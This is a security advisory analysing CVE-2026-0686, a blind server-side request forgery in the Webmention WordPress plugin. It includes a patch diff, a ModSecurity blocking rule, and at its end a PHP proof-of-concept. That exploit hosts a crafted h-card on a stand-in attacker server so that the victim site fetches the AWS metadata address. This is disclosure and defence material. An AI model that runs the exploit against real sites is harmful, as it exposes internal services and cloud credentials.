Atomic Edge analysis of CVE-2026-0686:
The Webmention WordPress plugin, versions up to and including 5.6.2, contains an unauthenticated blind Server-Side Request Forgery (SSRF) vulnerability. The vulnerability resides in the plugin’s microformats2 (MF2) handler, which processes incoming webmentions. This flaw allows attackers to force the application to make arbitrary HTTP requests to internal or external systems, potentially exposing sensitive information or enabling further attacks against internal infrastructure. The CVSS score of 7.2 reflects a high-severity network-based attack requiring no authentication.
Atomic Edge research identifies the root cause in the `MF2::parse_authorpage` function within `/webmention/includes/handler/class-mf2.php`. This function accepts a URL parameter and passes it directly to `Request::get()` at line 875. The vulnerable version passes a second argument `false` to `Request::get()`. This argument likely disables SSL verification or other safety controls, but the primary issue is that the function fetches content from an attacker-controlled URL without sufficient validation. The `Receiver::post` function, which handles incoming webmention requests, calls this vulnerable parsing function, creating an unauthenticated attack vector.
Exploitation occurs via the plugin’s webmention reception endpoint. An attacker sends a crafted HTTP POST request to the site’s webmention endpoint, typically `/wp-json/webmention/1.0/endpoint`. The request includes a `source` parameter pointing to a malicious page and a `target` parameter pointing to a page on the victim site. The malicious source page contains a microformats2 `h-card` with an `authorpage` property set to an internal service URL (e.g., `http://169.254.169.254/latest/meta-data/`). When the plugin processes this webmention, the `MF2::parse_authorpage` function fetches the attacker’s source page, parses it, and then makes a secondary request to the URL specified in the `authorpage` property. This secondary request originates from the web server, allowing access to internal network resources.
The patch, applied in version 5.7.0, modifies the call to `Request::get()` in the `MF2::parse_authorpage` function. The diff shows the removal of the second argument `false` from line 875 in `/webmention/includes/handler/class-mf2.php`. The function call changes from `Request::get( $url, false )` to `Request::get( $url )`. This change likely enables default security features within the `Request::get` method, such as SSL verification, restriction to specific ports, or blocking requests to internal IP ranges. The same fix is applied in the `Tools::test` function (`/webmention/includes/class-tools.php`, line 78) and the `WP::parse_api` function (`/webmention/includes/handler/class-wp.php`, line 70), indicating a systemic hardening of the HTTP request mechanism.
Successful exploitation enables attackers to perform blind SSRF attacks. The web application becomes a proxy for requests to internal services, which are typically firewalled from external access. Attackers can query metadata services on cloud platforms (like AWS IMDS), interact with internal APIs, scan internal networks, or attack services on the local loopback interface. While the vulnerability is blind (the response is not directly returned to the attacker), information can be exfiltrated via timing differences, DNS lookups, or by triggering outbound calls to a controlled server. This can lead to the disclosure of cloud credentials, internal application data, or facilitate attacks against vulnerable internal services.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/webmention/includes/class-avatar-store.php
+++ b/webmention/includes/class-avatar-store.php
@@ -27,7 +27,7 @@
public static function upload_directory( $filepath = '', $url = false ) {
$upload_dir = wp_get_upload_dir();
$upload_dir = $url ? $upload_dir['baseurl'] : $upload_dir['basedir'];
- $upload_dir = trailingslashit( $upload_dir ) . '/webmention/avatars/';
+ $upload_dir = path_join( $upload_dir, 'webmention/avatars/' );
$upload_dir = apply_filters( 'webmention_avatar_directory', $upload_dir, $url );
return $upload_dir . $filepath;
}
--- a/webmention/includes/class-comment-walker.php
+++ b/webmention/includes/class-comment-walker.php
@@ -169,12 +169,15 @@
if ( ! $has_avatar ) {
$classes[] = 'no-avatar';
}
+
+ // Check if avatars are enabled for webmentions.
+ $show_avatar = get_option( 'webmention_avatars', 1 );
?>
<<?php echo $tag; ?> id="comment-<?php comment_ID(); ?>" <?php comment_class( $classes, $comment ); ?>>
<div class="comment-body">
<span class="p-author h-card">
<a class="u-url" title="<?php esc_attr( $title ); ?>" href="<?php echo get_comment_author_url( $comment ); ?>">
- <?php if ( $has_avatar ) : ?>
+ <?php if ( $show_avatar && $has_avatar ) : ?>
<?php echo $avatar; ?>
<?php echo $overlay; ?>
<?php else : ?>
@@ -226,7 +229,7 @@
<footer class="comment-meta">
<div class="comment-author vcard h-card u-author">
<?php
- if ( 0 !== $args['avatar_size'] ) {
+ if ( 0 !== $args['avatar_size'] && get_option( 'webmention_avatars', 1 ) ) {
echo get_avatar( $comment, $args['avatar_size'] );
}
?>
@@ -308,7 +311,7 @@
* @param WP_Comment_Query $query Comment count.
*/
public static function comment_query( $query ) {
- if ( ! $query instanceof WP_Comment_Query ) {
+ if ( ! $query instanceof WP_Comment_Query ) {
return;
}
@@ -316,7 +319,8 @@
return;
}
- if ( ! empty( $query->query_vars['type__in'] ) ) {
+ // Do not exclude webmention types if specific comment types are explicitly requested.
+ if ( ! empty( $query->query_vars['type__in'] ) || ! empty( $query->query_vars['type'] ) ) {
return;
}
--- a/webmention/includes/class-tools.php
+++ b/webmention/includes/class-tools.php
@@ -78,7 +78,7 @@
$target = $request->get_param( 'target' );
$mode = $request->get_param( 'mode' );
- $response = Request::get( $source, false );
+ $response = Request::get( $source );
if ( is_wp_error( $response ) ) {
return $response;
--- a/webmention/includes/handler/class-mf2.php
+++ b/webmention/includes/handler/class-mf2.php
@@ -875,7 +875,7 @@
* @return WP_Error|array Return error or author array if successful.
*/
public function parse_authorpage( $url ) {
- $response = Request::get( $url, false );
+ $response = Request::get( $url );
if ( is_wp_error( $response ) ) {
return $response;
--- a/webmention/includes/handler/class-wp.php
+++ b/webmention/includes/handler/class-wp.php
@@ -70,7 +70,7 @@
$response = Request::get( $api_link );
if ( is_wp_error( $response ) ) {
- return response;
+ return $response;
}
$page = $this->parse_post_json( $response, $site_json['timezone'] );
--- a/webmention/templates/comment.php
+++ b/webmention/templates/comment.php
@@ -58,7 +58,11 @@
<div class="e-content p-summary p-name"><?php comment_text(); ?></div>
<footer class="entry-meta">
<address class="p-author h-card">
- <?php echo get_avatar( $comment, 50 ); ?>
+ <?php
+ if ( get_option( 'webmention_avatars', 1 ) ) {
+ echo get_avatar( $comment, 50 );
+ }
+ ?>
<?php printf( '<cite class="p-name">%s</cite>', get_comment_author_link() ); ?>
</address><!-- .comment-author .vcard -->
<a href="<?php echo esc_url( get_comment_link( $comment->comment_ID ) ); ?>"><time datetime="<?php comment_time( 'c' ); ?>" class="dt-published dt-updated published updated">
--- a/webmention/webmention.php
+++ b/webmention/webmention.php
@@ -5,7 +5,7 @@
* Description: Webmention support for WordPress posts
* Author: Matthias Pfefferle
* Author URI: https://notiz.blog/
- * Version: 5.6.2
+ * Version: 5.7.0
* License: MIT
* License URI: https://opensource.org/licenses/MIT
* Text Domain: webmention
@@ -14,7 +14,7 @@
namespace Webmention;
-define( 'WEBMENTION_VERSION', '5.6.2' );
+define( 'WEBMENTION_VERSION', '5.7.0' );
define( 'WEBMENTION_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
define( 'WEBMENTION_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-0686
# This rule blocks exploitation of the SSRF vulnerability in Webmention plugin <= 5.6.2.
# It targets the specific REST API endpoint and the malicious payload pattern in the source parameter.
SecRule REQUEST_METHOD "@streq POST"
"id:1000686,phase:2,deny,status:403,chain,msg:'CVE-2026-0686 - Webmention Plugin Unauthenticated SSRF Attempt',severity:'CRITICAL',tag:'CVE-2026-0686',tag:'WordPress',tag:'Webmention',tag:'SSRF'"
SecRule REQUEST_URI "@rx ^/wp-json/webmention/1.0/endpoint$"
"chain"
SecRule ARGS_POST:source "@rx (?:authorpage|u-authorpage)\s*=\s*['"]?https?://(?:127.0.0.1|localhost|169.254.169.254|10\.|172\.(?:1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)"
"t:none,t:urlDecode,t:htmlEntityDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0686 - Webmention <= 5.6.2 - Unauthenticated Blind Server-Side Request Forgery
<?php
// Configuration
$target_url = 'https://vulnerable-wordpress-site.com'; // Target WordPress site with Webmention plugin <= 5.6.2
$attacker_server = 'http://attacker-controlled-server.com'; // Server you control to host the malicious source page
$internal_target = 'http://169.254.169.254/latest/meta-data/'; // Example internal service (AWS IMDS v1)
// Step 1: Create a malicious source page on the attacker's server.
// This page contains a microformats2 h-card with an authorpage pointing to the internal target.
$malicious_html = <<<HTML
<!DOCTYPE html>
<html>
<head>
<link rel="webmention" href="$target_url/wp-json/webmention/1.0/endpoint" />
</head>
<body>
<article class="h-entry">
<div class="p-author h-card">
<a class="p-name u-url" href="$attacker_server/author">Attacker</a>
<!-- The vulnerable plugin will fetch this authorpage URL -->
<a class="u-authorpage" href="$internal_target"></a>
</div>
<div class="e-content p-name">
Malicious webmention source.
</div>
</article>
</body>
</html>
HTML;
// In a real scenario, you would host this HTML at a public URL, e.g., $attacker_server/source.html
// For this PoC, we simulate the attack by directly posting to the webmention endpoint.
// Step 2: Send the webmention to the target site's REST API endpoint.
// The plugin will fetch $attacker_server/source.html, parse it, and then request $internal_target.
$webmention_endpoint = $target_url . '/wp-json/webmention/1.0/endpoint';
$post_data = array(
'source' => $attacker_server . '/source.html', // URL of the malicious page
'target' => $target_url . '/some-post' // A valid post URL on the target site
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $webmention_endpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); // For testing only
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// The response may not show the SSRF result (blind), but the internal request is triggered.
echo "Sent webmention to $webmention_endpointn";
echo "HTTP Response Code: $http_coden";
echo "Response: $responsen";
echo "If the site is vulnerable, the server made a request to: $internal_targetn";
// To detect the blind SSRF, an attacker would monitor their server logs for the request from the target,
// or use a service that can capture out-of-band interactions (e.g., DNS, HTTP callbacks).
?>